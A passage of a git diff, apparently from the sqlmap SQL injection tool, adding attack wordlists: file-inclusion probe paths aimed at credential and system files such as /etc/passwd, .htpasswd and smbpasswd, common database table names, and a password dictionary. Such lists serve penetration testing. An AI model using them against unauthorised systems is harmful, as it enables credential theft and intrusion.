+\inetpub\wwwroot\web.config
+\web.config
+\windows\system32\drivers\etc\hosts
+\windows\win.ini
+
+# Reference: https://repo.theoremforge.com/pentesting/tools/blob/0f1f0578739870b633c267789120d85982545a69/Uncategorized/Dump/lfiunix.txt
+
+/etc/apache2/.htpasswd
+/etc/apache/.htpasswd
+/etc/master.passwd
+/etc/muddleftpd/muddleftpd.passwd
+/etc/muddleftpd/passwd
+/etc/passwd
+/etc/passwd~
+/etc/passwd-
+/etc/pureftpd.passwd
+/etc/samba/private/smbpasswd
+/etc/samba/smbpasswd
+/etc/security/opasswd
+/etc/security/passwd
+/etc/smbpasswd
+\Program Files\xampp\apache\conf\httpd.conf
+/usr/local/pgsql/bin/pg_passwd
+/usr/local/pgsql/data/passwd
+/usr/pkgsrc/net/pureftpd/pureftpd.passwd
+/usr/ports/contrib/pure-ftpd/pureftpd.passwd
+/usr/ports/ftp/pure-ftpd/pureftpd.passwd
+/usr/ports/net/pure-ftpd/pureftpd.passwd
+/var/log/exim_rejectlog/etc/passwd
+/etc/mysql/conf.d/old_passwords.cnf
+/etc/password.master
+/var/www/.lighttpdpassword
+/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf
+/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf
+/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf
+/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php
+/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php
+/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php
+/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini
+/Volumes/webBackup/opt/apache2/conf/httpd.conf
+/Volumes/webBackup/private/etc/httpd/httpd.conf
+/Volumes/webBackup/private/etc/httpd/httpd.conf.default
+
+# Reference: https://pastebin.com/KgPsDXjg
+
+/etc/passwd
+/etc/crontab
+/etc/hosts
+/etc/my.cnf
+/etc/.htpasswd
+/root/.bash_history
+/etc/named.conf
+/proc/self/environ
+/etc/php.ini
+/bin/php.ini
+/etc/httpd/php.ini
+/usr/lib/php.ini
+/usr/lib/php/php.ini
+/usr/local/etc/php.ini
+/usr/local/lib/php.ini
+/usr/local/php/lib/php.ini
+/usr/local/php4/lib/php.ini
+/usr/local/php5/lib/php.ini
+/usr/local/apache/conf/php.ini
+/etc/php4.4/fcgi/php.ini
+/etc/php4/apache/php.ini
+/etc/php4/apache2/php.ini
+/etc/php5/apache/php.ini
+/etc/php5/apache2/php.ini
+/etc/php/php.ini
+/usr/local/apache/conf/modsec.conf
+/var/cpanel/cpanel.config
+/proc/self/environ
+/proc/self/fd/2
+/etc/ssh/sshd_config
+/var/lib/mysql/my.cnf
+/etc/mysql/my.cnf
+/etc/my.cnf
+/etc/logrotate.d/proftpd
+/www/logs/proftpd.system.log
+/var/log/proftpd
+/etc/proftp.conf
+/etc/protpd/proftpd.conf
+/etc/vhcs2/proftpd/proftpd.conf
+/etc/proftpd/modules.conf
+/etc/vsftpd.chroot_list
+/etc/vsftpd/vsftpd.conf
+/etc/vsftpd.conf
+/etc/chrootUsers
+/etc/wu-ftpd/ftpaccess
+/etc/wu-ftpd/ftphosts
+/etc/wu-ftpd/ftpusers
+/usr/sbin/pure-config.pl
+/usr/etc/pure-ftpd.conf
+/etc/pure-ftpd/pure-ftpd.conf
+/usr/local/etc/pure-ftpd.conf
+/usr/local/etc/pureftpd.pdb
+/usr/local/pureftpd/etc/pureftpd.pdb
+/usr/local/pureftpd/sbin/pure-config.pl
+/usr/local/pureftpd/etc/pure-ftpd.conf
+/etc/pure-ftpd.conf
+/etc/pure-ftpd/pure-ftpd.pdb
+/etc/pureftpd.pdb
+/etc/pureftpd.passwd
+/etc/pure-ftpd/pureftpd.pdb
+/var/log/ftp-proxy
+/etc/logrotate.d/ftp
+/etc/ftpchroot
+/etc/ftphosts
+/etc/smbpasswd
+/etc/smb.conf
+/etc/samba/smb.conf
+/etc/samba/samba.conf
+/etc/samba/smb.conf.user
+/etc/samba/smbpasswd
+/etc/samba/smbusers
+/var/lib/pgsql/data/postgresql.conf
+/var/postgresql/db/postgresql.conf
+/etc/ipfw.conf
+/etc/firewall.rules
+/etc/ipfw.rules
+/usr/local/etc/webmin/miniserv.conf
+/etc/webmin/miniserv.conf
+/usr/local/etc/webmin/miniserv.users
+/etc/webmin/miniserv.users
+/etc/squirrelmail/config/config.php
+/etc/squirrelmail/config.php
+/etc/httpd/conf.d/squirrelmail.conf
+/usr/share/squirrelmail/config/config.php
+/private/etc/squirrelmail/config/config.php
+/srv/www/htdos/squirrelmail/config/config.php
\ No newline at end of file
diff --git a/txt/common-outputs.txt b/data/txt/common-outputs.txt
similarity index 99%
rename from txt/common-outputs.txt
rename to data/txt/common-outputs.txt
index 874bd83e27f..f5292688be5 100644
--- a/txt/common-outputs.txt
+++ b/data/txt/common-outputs.txt
@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission
[Banners]
diff --git a/txt/common-tables.txt b/data/txt/common-tables.txt
similarity index 97%
rename from txt/common-tables.txt
rename to data/txt/common-tables.txt
index 0067d971675..7f111c62135 100644
--- a/txt/common-tables.txt
+++ b/data/txt/common-tables.txt
@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission
users
@@ -1618,6 +1618,7 @@ Contributor
flag
# Various Joomla tables
+
jos_vm_product_download
jos_vm_coupons
jos_vm_product_reviews
@@ -1711,6 +1712,7 @@ publicusers
cmsusers
# List provided by Anastasios Monachos (anastasiosm@gmail.com)
+
blacklist
cost
moves
@@ -1762,6 +1764,7 @@ TBLCORPUSERS
TBLCORPORATEUSERS
# List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py)
+
tbladmins
sort
_wfspro_admin
@@ -2048,6 +2051,7 @@ Login
Logins
# List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
+
account
accnts
accnt
@@ -2117,6 +2121,7 @@ user_pwd
user_passwd
# List from hyrax (http://sla.ckers.org/forum/read.php?16,36047)
+
wsop
Admin
Config
@@ -2437,9 +2442,11 @@ Affichage1name
sb_host_adminAffichage1name
# site:jp
+
TypesTab
# site:it
+
utenti
categorie
attivita
@@ -2581,6 +2588,7 @@ oil_stats_agents
SGA_XPLAN_TPL_DBA_INDEXES
# site:fr
+
Avion
departement
Compagnie
@@ -2751,6 +2759,7 @@ spip_ortho_dico
spip_caches
# site:ru
+
guestbook
binn_forum_settings
binn_forms_templ
@@ -2848,6 +2857,7 @@ binn_path_temps
order_item
# site:de
+
tt_content
kunde
medien
@@ -3010,6 +3020,7 @@ wp_categories
chessmessages
# site:br
+
endereco
pessoa
usuarios
@@ -3172,6 +3183,7 @@ LT_CUSTOM2
LT_CUSTOM3
# site:es
+
jos_respuestas
DEPARTAMENTO
EMPLEADO
@@ -3210,6 +3222,7 @@ grupo
facturas
# site:cn
+
url
cdb_adminactions
BlockInfo
@@ -3354,7 +3367,55 @@ aliastype
mymps_mail_sendlist
mymps_navurl
+# site:tr
+
+kullanici
+kullanicilar
+yonetici
+yoneticiler
+adres
+adresler
+yayincilar
+yayinci
+urun
+urunler
+kategori
+kategoriler
+ulke
+ulkeler
+siparis
+siparisler
+bayi
+bayiler
+stok
+reklam
+reklamlar
+site
+siteler
+sayfa
+sayfalar
+icerik
+icerikler
+yazi
+yazilar
+genel
+istatistik
+istatistikler
+duyuru
+duyurular
+haber
+haberler
+komisyon
+ucret
+ucretler
+bilgi
+basvuru
+basvurular
+kontak
+kontaklar
+
# List provided by Pedrito Perez (0ark1ang3l@gmail.com)
+
adminstbl
admintbl
affiliateUsers
@@ -3369,4 +3430,69 @@ userstbl
usertbl
# WebGoat
+
user_data
+
+# https://laurent22.github.io/so-injections/
+
+accounts
+admin
+baza_site
+benutzer
+category
+comments
+company
+credentials
+Customer
+customers
+data
+details
+dhruv_users
+dt_tb
+employees
+events
+forsale
+friends
+giorni
+images
+info
+items
+kontabankowe
+login
+logs
+markers
+members
+messages
+orders
+order_table
+photos
+player
+players
+points
+register
+reports
+rooms
+shells
+signup
+songs
+student
+students
+table
+table2
+tbl_images
+tblproduct
+testv2
+tickets
+topicinfo
+trabajo
+user
+user_auth
+userinfo
+user_info
+userregister
+users
+usuarios
+utenti
+wm_products
+wp_payout_history
+zamowienia
diff --git a/txt/keywords.txt b/data/txt/keywords.txt
similarity index 98%
rename from txt/keywords.txt
rename to data/txt/keywords.txt
index 0dbc046b00c..8113c553c92 100644
--- a/txt/keywords.txt
+++ b/data/txt/keywords.txt
@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission
# SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml)
diff --git a/txt/smalldict.txt b/data/txt/smalldict.txt
similarity index 92%
rename from txt/smalldict.txt
rename to data/txt/smalldict.txt
index 7e153f7be06..376f4859738 100644
--- a/txt/smalldict.txt
+++ b/data/txt/smalldict.txt
@@ -306,6 +306,7 @@ abigail
abm
absolut
academia
+academic
access
access14
accord
@@ -315,6 +316,7 @@ acropolis
action
active
acura
+ada
adam
adg
adgangskode
@@ -333,6 +335,7 @@ adobe123
adobeadobe
adrian
adriana
+adrianna
adrock
advil
aerobics
@@ -352,6 +355,8 @@ akf7d98s2
aki123
alabama
alaska
+albany
+albatross
albert
alberto
alejandra
@@ -364,9 +369,13 @@ alexandr
alexandra
alexis
Alexis
+alf
alfaro
alfred
+algebra
ali
+alias
+aliases
alice
alice1
alicia
@@ -374,6 +383,7 @@ alien
aliens
alina
aline
+alisa
alison
allegro
allen
@@ -384,6 +394,7 @@ aloha
alpha
Alpha
alpha1
+alphabet
alpine
alr
altamira
@@ -392,6 +403,7 @@ altima
altima1
always
alyssa
+ama
amadeus
amanda
amanda1
@@ -403,12 +415,15 @@ amelie
america
american
amigos
+amorphous
amour
ams
amsterdam
amv
amy
anaconda
+analog
+anchor
anders
anderson
andre
@@ -422,6 +437,7 @@ andrew!
Andrew
andrew1
andrey
+andromache
andromed
andromeda
andy
@@ -433,10 +449,12 @@ angelina
angelito
angelo
angels
+angerine
angie
angie1
angus
animal
+animals
Animals
anita
ann
@@ -446,11 +464,14 @@ anneli
annette
annie
anonymous
+answer
antares
anthony
Anthony
anthony1
+anthropogenic
antonio
+anvils
anything
ap
apache
@@ -479,6 +500,8 @@ ar
aragorn
archie
argentina
+aria
+ariadne
ariane
ariel
Ariel
@@ -492,6 +515,7 @@ artemis
arthur
artist
arturo
+asd
asd123
asdasd
asddsa
@@ -517,6 +541,7 @@ ashley1
ashraf
ashton
asl
+asm
aso
asp
aspateso19
@@ -532,6 +557,7 @@ ath
athena
atlanta
atlantis
+atmosphere
attila
audiouser
audrey
@@ -553,6 +579,8 @@ aylmer
az
az1943
azerty
+aztecs
+azure
babes
baby
babydoll
@@ -560,6 +588,7 @@ babygirl
babygirl1
babygurl1
babylon5
+bacchus
bach
backup
backupexec
@@ -575,11 +604,14 @@ bamboo
banana
bananas
bandit
+banks
bar
baraka
barbara
+barber
barbie
barcelona
+baritone
barn
barney
barney1
@@ -591,12 +623,15 @@ bartman
baseball
baseball1
basf
+basic
basil
basket
basketball
bass
+bassoon
bastard
Bastard
+batch
batman
batman1
baxter
@@ -614,6 +649,7 @@ bear
bears
beast
beasty
+beater
beatles
beatrice
beatriz
@@ -625,14 +661,17 @@ Beavis
beavis1
bebe
becca
+becky
beebop
beer
+beethoven
belgium
believe
belize
bella
belle
belmont
+beloved
ben
benito
benjamin
@@ -641,9 +680,12 @@ benny
benoit
benson
bentley
+benz
beowulf
berenice
+berkeley
berlin
+berliner
bernard
bernardo
bernie
@@ -653,12 +695,16 @@ beryl
best
beta
betacam
+beth
betito
+betsie
betsy
betty
+beverly
bharat
bianca
bic
+bicameral
bichilora
bichon
bigal
@@ -798,10 +844,12 @@ brewster
brian
bridge
bridges
+bridget
bright
brio_admin
britain
brittany
+broadway
Broadway
broken
broker
@@ -820,6 +868,7 @@ bruno
brutus
bryan
bsc
+bsd
bubba
bubba1
bubble
@@ -843,7 +892,9 @@ bulldogs
bullet
bulls
bullshit
+bumbling
bunny
+burgess
burns
burton
business
@@ -863,6 +914,7 @@ c00per
caballo
cachonda
cactus
+cad
caesar
caitlin
calendar
@@ -877,17 +929,20 @@ camera
cameron
camila
camille
+campanile
campbell
camping
campus
canada
cancer
+candi
candy
canela
cannabis
cannon
cannondale
canon
+cantor
Canucks
captain
car
@@ -895,7 +950,9 @@ carbon
cardinal
Cardinal
carebear
+caren
carl
+carla
carlos
carmen
carmen1
@@ -913,6 +970,7 @@ carson
carter
cartman
cascade
+cascades
casey
casino
Casio
@@ -931,6 +989,7 @@ cathy
catnip
cats
catwoman
+cayuga
cccccc
cct
cdemo82
@@ -942,16 +1001,19 @@ cdouglas
ce
cecile
cecilia
+cecily
cedic
celeste
celica
celine
celtic
+celtics
Celtics
cement
center
centra
central
+cerulean
cesar
cessna
chad
@@ -981,11 +1043,15 @@ Charlie
charlie1
charlotte
charmed
+charming
+charon
chat
cheese
cheese1
chelsea
chelsea1
+chem
+chemistry
cherokee
cherry
cheryl
@@ -1036,6 +1102,7 @@ chuck
church
cicero
cids
+cigar
cinder
cindy
cindy1
@@ -1074,6 +1141,7 @@ cloth
clueless
clustadm
cluster
+clusters
cn
cobain
cobra
@@ -1081,6 +1149,7 @@ cocacola
cock
coco
coconut
+code
codename
codeword
cody
@@ -1098,6 +1167,7 @@ coltrane
columbia
comet
commander
+commrades
company
compaq
compiere
@@ -1105,13 +1175,18 @@ compton
computer
Computer
computer1
+comrade
+comrades
concept
concorde
+condo
+condom
confused
connect
connie
connor
conrad
+console
consuelo
consumer
content
@@ -1130,6 +1205,7 @@ copper
cora
cordelia
corky
+cornelius
cornflake
corona
corrado
@@ -1145,6 +1221,7 @@ counter
country
courier
courtney
+couscous
cowboy
cowboys
cows
@@ -1155,11 +1232,15 @@ craig
crawford
crazy
cream
+create
creation
creative
Creative
+creosote
crescent
+cretin
cricket
+criminal
crimson
cristian
cristina
@@ -1175,6 +1256,7 @@ csc
csd
cse
csf
+cshrc
csi
csl
csmig
@@ -1213,6 +1295,7 @@ cyrano
cz
daddy
daedalus
+daemon
dagger
dagger1
daily
@@ -1237,6 +1320,7 @@ danielle
danny
dantheman
daphne
+dapper
dark1
Darkman
darkness
@@ -1247,6 +1331,7 @@ darren
darryl
darwin
dasha
+data
data1
database
datatrain
@@ -1263,6 +1348,7 @@ dead
deadhead
dean
death
+deb
debbie
deborah
december
@@ -1272,11 +1358,13 @@ deeznuts
def
default
defender
+defoe
delano
delete
deliver
dell
delta
+deluge
demo
demo8
demo9
@@ -1296,18 +1384,23 @@ desert
design
designer
desire
+desiree
deskjet
desktop
+desperate
destiny
detroit
deutsch
dev2000_demos
+develop
+device
devil
devine
devon
dexter
dharma
diablo
+dial
diamond
diamonds
diana
@@ -1317,6 +1410,8 @@ dick
dickens
dickhead
diesel
+diet
+dieter
digger
digital
dilbert
@@ -1329,9 +1424,11 @@ dipper
director
dirk
dirty
+disc
disco
discoverer_admin
discovery
+disk
disney
dixie
dixon
@@ -1368,6 +1465,7 @@ doom2
doors
dork
dorothy
+dos
doudou
doug
dougie
@@ -1385,6 +1483,7 @@ dreamer
dreams
dreamweaver
driver
+drought
drowssap
drpepper
drummer
@@ -1399,6 +1498,7 @@ duckie
dude
dudley
duke
+dulce
dumbass
duncan
dundee
@@ -1409,31 +1509,44 @@ dwight
dylan
e
eaa
+eager
eagle
eagle1
eagles
Eagles
eam
+earth
+easier
east
easter
eastern
+easy
+eatme
ec
eclipse
ecx
eddie
+edges
+edinburgh
edith
edmund
eduardo
edward
+edwin
+edwina
eeyore
effie
+egghead
+eiderdown
eieio
eight
+eileen
einstein
ejb
ejsadmin
ejsadmin_password
elaine
+elanor
electric
element
elephant
@@ -1450,6 +1563,7 @@ ellen
elliot
elsie
elvis
+email
e-mail
emerald
emily
@@ -1459,9 +1573,11 @@ emmitt
emp
empire
enamorada
+enemy
energy
eng
engage
+engine
engineer
england
english
@@ -1471,14 +1587,21 @@ enjoy
enter
enterprise
entropy
+enzyme
+erenity
eric
eric1
+erica
+erika
erin
ernie1
erotic
+ersatz
escape
escort
escort1
+establish
+estate
estefania
estelle
esther
@@ -1487,6 +1610,7 @@ estore
estrella
eternity
etoile
+euclid
eugene
europe
evelyn
@@ -1505,12 +1629,14 @@ export
express
extdemo
extdemo2
+extension
extreme
eyal
fa
faculty
faggot
fairview
+fairway
faith
faithful
falcon
@@ -1531,6 +1657,7 @@ fdsa
fearless
february
feedback
+felicia
felicidad
felipe
felix
@@ -1538,18 +1665,23 @@ fem
fender
fenris
ferguson
+fermat
fernando
ferrari
ferret
ferris
fiction
fidel
+fidelity
+field
Figaro
fighter
fii
+file
files
finance
finger
+finite
finprod
fiona
fire
@@ -1563,12 +1695,14 @@ fish
fish1
fisher
Fisher
+fishers
fishes
fishhead
fishie
fishing
Fishing
fktrcfylh
+flakes
flamingo
flanders
flash
@@ -1579,6 +1713,7 @@ flight
flip
flipper
flm
+float
florence
florida
florida1
@@ -1598,19 +1733,24 @@ fndpub
foobar
foofoo
fool
+foolproof
footbal
football
football1
ford
+foresight
forest
forever
forever1
forget
+format
+forsythe
Fortune
forum
forward
foster
fountain
+fourier
fox
foxtrot
fozzie
@@ -1646,6 +1786,7 @@ friend
friends
Friends
friends1
+frighten
frisco
fritz
frm
@@ -1679,6 +1820,8 @@ fuckyou1
fuckyou2
fugazi
fun
+function
+fungible
funguy
funtime
futbol
@@ -1706,6 +1849,7 @@ Gandalf
gangster
garcia
garden
+gardner
garfield
garfunkel
gargoyle
@@ -1723,6 +1867,8 @@ gatito
gator
gator1
gators
+gatt
+gauss
gemini
general
genesis
@@ -1736,6 +1882,7 @@ germany
germany1
geronimo
Geronimo
+gertrude
getout
gfhjkm
ggeorge
@@ -1748,6 +1895,7 @@ gigi
gilbert
gilgamesh
gilles
+gina
ginger
Gingers
giovanni
@@ -1758,6 +1906,7 @@ gizmo
Gizmo
gizmodo
gl
+glacier
glenn
glider1
global
@@ -1771,6 +1920,7 @@ gml
gmoney
gmp
gms
+gnu
go
goat
goaway
@@ -1806,13 +1956,18 @@ google
goose
gopher
gordon
+gorgeous
+gorges
gorilla
+gosling
+gouge
gpfd
gpld
gr
grace
gracie
graham
+grahm
gramps
grandma
grant
@@ -1838,9 +1993,12 @@ gretzky
griffin
grizzly
groovy
+group
grover
grumpy
+gryphon
guardian
+gucci
guess
guest
guido
@@ -1848,9 +2006,12 @@ guinness
guitar
guitar1
gumby
+gumption
gunner
+guntis
gustavo
h2opolo
+hack
hacker
Hacker
hades
@@ -1868,6 +2029,7 @@ hamlet
hammer
Hammer
hamster
+handily
handsome
hank
hanna
@@ -1876,6 +2038,7 @@ hannibal
hannover23
hansolo
hanson
+happening
happiness
happy
happy1
@@ -1910,10 +2073,12 @@ Heather
heather1
heather2
heaven
+hebrides
hector
hedgehog
heidi
heikki
+heinlein
helen
helena
helene
@@ -1942,6 +2107,9 @@ hermosa
Hershey
herzog
heythere
+hiawatha
+hibernia
+hidden
highland
hilbert
hilda
@@ -1969,6 +2137,7 @@ homebrew
homer
Homer
homerj
+homework
honda
honda1
honey
@@ -1984,6 +2153,7 @@ horney
horny
horse
horses
+horus
hosehead
hotdog
hotmail
@@ -2003,6 +2173,7 @@ hummer
hunter
hunting
huskies
+hutchins
hvst
hxc
hxt
@@ -2012,6 +2183,7 @@ ib6ub9
iba
ibanez
ibe
+ibm
ibp
ibu
iby
@@ -2054,6 +2226,7 @@ iloveyou3
image
imageuser
imagine
+imbroglio
imc
imedia
immortal
@@ -2061,6 +2234,7 @@ impact
impala
imperial
imt
+include
indian
indiana
indigo
@@ -2069,7 +2243,12 @@ inferno
infinity
info
informix
+ingres
+ingress
+ingrid
ingvar
+inna
+innocuous
insane
inside
insight
@@ -2078,6 +2257,7 @@ instruct
integra
integral
intern
+internal
internet
Internet
intranet
@@ -2094,6 +2274,7 @@ irene
irina
iris
irish
+irishman
irmeli
ironman
isaac
@@ -2101,6 +2282,7 @@ isabel
isabella
isabelle
isc
+isis
island
israel
italia
@@ -2130,8 +2312,10 @@ jamies
jamjam
jan
jane
+janet
Janet
janice
+janie
january
japan
jared
@@ -2152,6 +2336,7 @@ jeepster
jeff
jeffrey
jeffrey1
+jen
jenifer
jenni
jennie
@@ -2185,11 +2370,13 @@ jetspeed
jetta1
jewels
jg
+jill
jim
jimbo
jimbob
jimi
jimmy
+jixian
jjjjjj
jkl123
jkm
@@ -2199,6 +2386,7 @@ joanie
joanna
Joanna
joanne
+jody
joe
joel
joelle
@@ -2238,6 +2426,7 @@ jts
jubilee
judith
judy
+juggle
juhani
juice
jules
@@ -2252,6 +2441,7 @@ julius
jumanji
jumbo
jump
+june
junebug
jungle
junior
@@ -2275,6 +2465,7 @@ kangaroo
karate
karen
karen1
+karie
karin
karina
karine
@@ -2284,10 +2475,12 @@ kate
katerina
katherine
kathleen
+kathrine
kathy
katie
Katie
katie1
+katina
katrina
kawasaki
kayla
@@ -2306,12 +2499,18 @@ kennedy
kenneth
kenny
kerala
+keri
kermit
+kernel
+kerri
+kerrie
+kerry
kerrya
ketchup
kevin
kevin1
kevinn
+key
keyboard
khan
kidder
@@ -2329,6 +2528,7 @@ kings
kingston
kirill
kirk
+kirkland
kissa2
kissme
kitkat
@@ -2349,11 +2549,14 @@ kombat
kramer
kris
krishna
+krista
kristen
kristi
+kristie
kristin
kristina
kristine
+kristy
kwalker
l2ldemo
lab1
@@ -2362,15 +2565,20 @@ labtec
lacrosse
laddie
ladies
+ladle
lady
ladybug
lakers
lalala
lambda
lamer
+lamination
+lana
lance
lancelot
lancer
+lara
+larkin
larry
larry1
laser
@@ -2386,10 +2594,13 @@ law
lawrence
lawson
lawyer
+lazarus
lbacsys
leader
leaf
+leah
leather
+lebesgue
leblanc
ledzep
lee
@@ -2404,6 +2615,7 @@ leon
leonard
leonardo
leopard
+leroy
leslie
lestat
lester
@@ -2412,6 +2624,7 @@ letmein
letter
letters
lev
+lewis
lexus1
libertad
liberty
@@ -2433,6 +2646,7 @@ lionel
lionking
lions
lisa
+lisp
lissabon
little
liverpoo
@@ -2443,6 +2657,8 @@ lizard
Lizard
lizzy
lloyd
+lock
+lockout
logan
logger
logical
@@ -2450,6 +2666,7 @@ login
Login
logitech
logos
+lois
loislane
loki
lol123
@@ -2465,6 +2682,7 @@ looney
loren
lorenzo
lori
+lorin
lorna
lorraine
lorrie
@@ -2497,11 +2715,13 @@ lucky14
lucy
lulu
lynn
+lynne
m
m1911a1
mac
macha
macintosh
+mack
macromedia
macross
macse30
@@ -2516,6 +2736,7 @@ madoka
madonna
madrid
maggie
+maggot
magic
magic1
magnolia
@@ -2525,10 +2746,12 @@ mail
mailer
mailman
maine
+maint
major
majordomo
makeitso
malcolm
+malcom
malibu
mallard
mallorca
@@ -2542,10 +2765,13 @@ manson
mantra
manuel
manutd
+mara
marathon
marc
marcel
+marci
marcus
+marcy
margaret
Margaret
margarita
@@ -2559,6 +2785,7 @@ marianne
marie
marie1
marielle
+marietta
marilyn
marina
marine
@@ -2574,6 +2801,7 @@ market
markus
marlboro
marley
+marni
mars
marshall
mart
@@ -2615,6 +2843,7 @@ mddemo
mddemo_mgr
mdsys
me
+meagan
meatloaf
mech
mechanic
@@ -2626,6 +2855,7 @@ meister
melanie
melina
melissa
+mellon
Mellon
melody
member
@@ -2649,6 +2879,7 @@ metal
metallic
Metallic
metallica
+mets
mexico
mfg
mgr
@@ -2695,8 +2926,10 @@ mimi
mindy
mine
minecraft
+minimum
minnie
minou
+minsky
miracle
mirage
miranda
@@ -2708,6 +2941,7 @@ mission
missy
mistress
misty
+mit
mitch
mitchell
mmm
@@ -2719,6 +2953,8 @@ mnbvcxz
mobile
mobydick
modem
+mogul
+moguls
mohammed
moikka
mojo
@@ -2765,6 +3001,7 @@ moreau
morecats
morenita
morgan
+morley
moroni
morpheus
morris
@@ -2805,6 +3042,7 @@ mushroom
music
mustang
mustang1
+mutant
mwa
mxagent
mylove
@@ -2817,6 +3055,7 @@ myspace1
mystery
nadia
nadine
+nagel
naked
names
nana
@@ -2825,6 +3064,7 @@ nancy
naomi
napoleon
naruto
+nasa
nascar
nat
natalia
@@ -2853,11 +3093,14 @@ nellie
nelson
nemesis
neotix_sys
+nepenthe
neptune
nermal
nesbit
nesbitt
+ness
nestle
+net
netware
network
neutrino
@@ -2874,6 +3117,7 @@ Newton
newuser
newyork
newyork1
+next
nexus6
nguyen
nicarao
@@ -2908,6 +3152,7 @@ nirvana
nirvana1
nissan
nisse
+nita
nite
nneulpass
nobody
@@ -2919,6 +3164,7 @@ none1
nonono
nopass
nopassword
+noreen
Noriko
normal
norman
@@ -2933,6 +3179,8 @@ novell
november
noviembre
noway
+noxious
+nuclear
nuevopc
nugget
number1
@@ -2940,6 +3188,8 @@ number9
numbers
nurse
nutmeg
+nutrition
+nyquist
oas_public
oatmeal
oaxaca
@@ -2947,6 +3197,8 @@ obiwan
oblivion
obsession
ocean
+oceanography
+ocelot
ocitest
ocm_db_admin
october
@@ -2977,6 +3229,7 @@ olapsvr
olapsys
olive
oliver
+olivetti
olivia
olivier
ollie
@@ -3012,6 +3265,7 @@ orasso_pa
orasso_ps
orasso_public
orastat
+orca
orchid
ordcommon
ordplugins
@@ -3022,6 +3276,7 @@ original
orion
orlando
orville
+orwell
oscar
osiris
osm
@@ -3053,6 +3308,8 @@ packard
packer
packers
packrat
+pad
+painless
paint
painter
pakistan
@@ -3076,6 +3333,7 @@ panties
panzer
papa
paper
+papers
papito
paradigm
paradise
@@ -3126,6 +3384,7 @@ patrick
patriots
patrol
patton
+patty
paul
paula
pauline
@@ -3160,9 +3419,11 @@ penny
pentium
Pentium
people
+peoria
pepper
Pepper
pepsi
+percolate
percy
perfect
performa
@@ -3172,7 +3433,9 @@ perkele
perlita
perros
perry
+persimmon
person
+persona
personal
perstat
petalo
@@ -3230,6 +3493,7 @@ piscis
pit
pizza
pjm
+plane
planet
planning
platinum
@@ -3241,8 +3505,10 @@ players
playstation
please
plex
+plover
plus
pluto
+plymouth
pm
pmi
pn
@@ -3261,9 +3527,12 @@ pole
police
polina
politics
+polly
polo
+polynomial
pom
pomme
+pondering
pontiac
poohbear
poohbear1
@@ -3278,6 +3547,7 @@ popcorn
pope
popeye
poppy
+pork
porn
porno
porque
@@ -3299,6 +3569,7 @@ porter
portland
portugal
pos
+poster
potato
potter
power
@@ -3314,6 +3585,7 @@ predator
prelude
premier
presario
+presto
preston
pretty
primary
@@ -3323,15 +3595,23 @@ princesa
princess
Princess
princess1
+princeton
print
printer
printing
+priv
private
+privs
prodigy
prof
+professor
+profile
+program
prometheus
property
+protect
protel
+protozoa
provider
psa
psalms
@@ -3347,7 +3627,9 @@ pukayaco14
pulgas
pulsar
pumpkin
+puneet
punkin
+puppet
puppy
purple
Purple
@@ -3416,6 +3698,7 @@ racer
racerx
rachel
rachelle
+rachmaninoff
racing
racoon
radar
@@ -3428,6 +3711,7 @@ raiders
Raiders
rain
rainbow
+raindrop
Raistlin
raleigh
rallitas
@@ -3455,7 +3739,9 @@ ravens
raymond
razz
re
+reagan
reality
+really
realmadrid
reaper
rebecca
@@ -3477,6 +3763,7 @@ reed
reggae
reggie
regina
+regional
rejoice
reliant
remember
@@ -3510,12 +3797,15 @@ richard
richard1
richards
richmond
+rick
ricky
riley
ripper
ripple
+risc
rita
river
+rje
rla
rlm
rmail
@@ -3533,9 +3823,13 @@ robin
robinhood
robinson
robocop
+robot
robotech
robotics
+robyn
roche
+rochelle
+rochester
rock
rocker
rocket
@@ -3546,6 +3840,7 @@ rockon
rockstar
rocky
rocky1
+rodent
rodeo
rodney
roger
@@ -3556,6 +3851,7 @@ rolex
roller
rolltide
roman
+romano
romantico
rommel
ronald
@@ -3565,6 +3861,7 @@ ronica
ronnie
rookie
rooster
+root
root123
rootbeer
rootroot
@@ -3582,10 +3879,12 @@ roxy
roy
royal
rrs
+ruben
ruby
rufus
rugby
rugger
+rules
runner
running
rush
@@ -3611,6 +3910,7 @@ sailor
saint
saints
sakura
+sal
salasana
sales
sally
@@ -3647,6 +3947,7 @@ sap
saphire
sapphire
sapr3
+sara
sarah
sarah1
sarita
@@ -3660,11 +3961,14 @@ Saturn
saturn5
savage
savannah
+saxon
sbdc
+scamper
scarecrow
scarface
scarlet
scarlett
+scheme
schnapps
school
science
@@ -3701,6 +4005,7 @@ security
seeker
semperfi
senha
+sensor
seoul
september
septiembre
@@ -3716,6 +4021,7 @@ service
Service
serviceconsumer1
services
+sesame
sestosant
seven
seven7
@@ -3734,8 +4040,10 @@ shannon
shanny
shanti
shaolin
+sharc
share
shark
+sharks
sharon
shasta
shaved
@@ -3744,24 +4052,31 @@ shayne
shazam
sheba
sheena
+sheffield
sheila
shelby
+sheldon
+shell
shelley
shelly
shelter
shelves
sherlock
+sherri
sherry
ship
shirley
shit
shithead
+shiva
+shivers
shoes
shogun
shopping
shorty
shorty1
shotgun
+shuttle
Sidekick
sidney
siemens
@@ -3829,12 +4144,15 @@ smitty
smoke
smokey
Smokey
+smooch
smooth
+smother
smurfy
snake
snakes
snapper
snapple
+snatch
snickers
sniper
snoop
@@ -3849,6 +4167,7 @@ snowflake
snowman
snowski
snuffy
+soap
sober1
soccer
soccer1
@@ -3859,14 +4178,19 @@ software
soledad
soleil
solomon
